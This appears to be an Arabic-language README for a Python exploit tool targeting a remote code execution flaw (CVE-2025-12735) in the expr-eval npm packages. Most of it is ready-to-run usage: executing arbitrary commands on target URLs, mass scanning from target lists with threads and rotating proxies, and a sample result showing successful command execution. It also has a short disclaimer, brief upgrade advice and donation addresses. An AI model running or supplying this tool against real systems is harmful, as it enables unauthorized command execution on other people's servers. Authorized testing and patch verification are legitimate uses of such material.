
أداة أبحاث أمنية لكشف واختبار CVE-2025-12735 (ثغرة RCE في expr-eval)
أداة بحث أمني لاكتشاف واختبار ثغرة CVE-2025-12735 في حزمتي npm expr-eval و expr-eval-fork.
هذه الأداة مخصصة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها.
CVE-2025-12735 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في حزمتي npm expr-eval و expr-eval-fork. تسمح هذه الثغرة للمهاجمين بتعريف دوال اعتباطية داخل كائن context المستخدم من قِبل المحلِّل (parser)، مما يتيح حقن تعليمات برمجية خبيثة تنفّذ أوامر على مستوى النظام.
درجة CVSS: 9.8 (حرجة)
الإصدارات المتأثرة: expr-eval-fork < 3.0.0
الإصدار المُصلَح: expr-eval-fork v3.0.0+
# Clone the repository
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Install dependencies
pip install requests
# Single target
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Execute custom command
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# With threading for faster scanning
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Verbose output for debugging
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url Target URL
-f, --file File containing target URLs (one per line)
-c, --command Command to execute (default: id)
-t, --threads Number of threads (default: 1)
-o, --output Output file (default: uknf_expr_eval_results.json)
-v, --verbose Enable verbose logging
--proxy Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list File containing proxy URLs (one per line)
ينشئ السكربت ملف JSON بنتائج مفصلة:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
إذا كنت تستخدم expr-eval أو expr-eval-fork:
قم بالترقية فورًا:
npm install expr-eval-fork@latest
طبّق التصحيح الأمني:
نفّذ التحقق من صحة الإدخال:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
المساهمات مرحّب بها! لا تتردد في تقديم Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)إذا واجهت أي مشكلات أو كانت لديك اقتراحات، يرجى فتح issue على GitHub.
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
إذا وجدت هذه الأداة مفيدة، فيُرجى التفكير في منحها نجمة (Star) على GitHub!
هذه الأداة مقدمة للأغراض التعليمية واختبارات الأمان المصرح بها فقط. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. يتحمل المستخدمون مسؤولية التأكد من حصولهم على التفويض المناسب قبل اختبار أي أنظمة.
إذا وجدت هذه الأداة مفيدة وترغب في دعم المشروع:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
شكرًا لدعمك! 🙏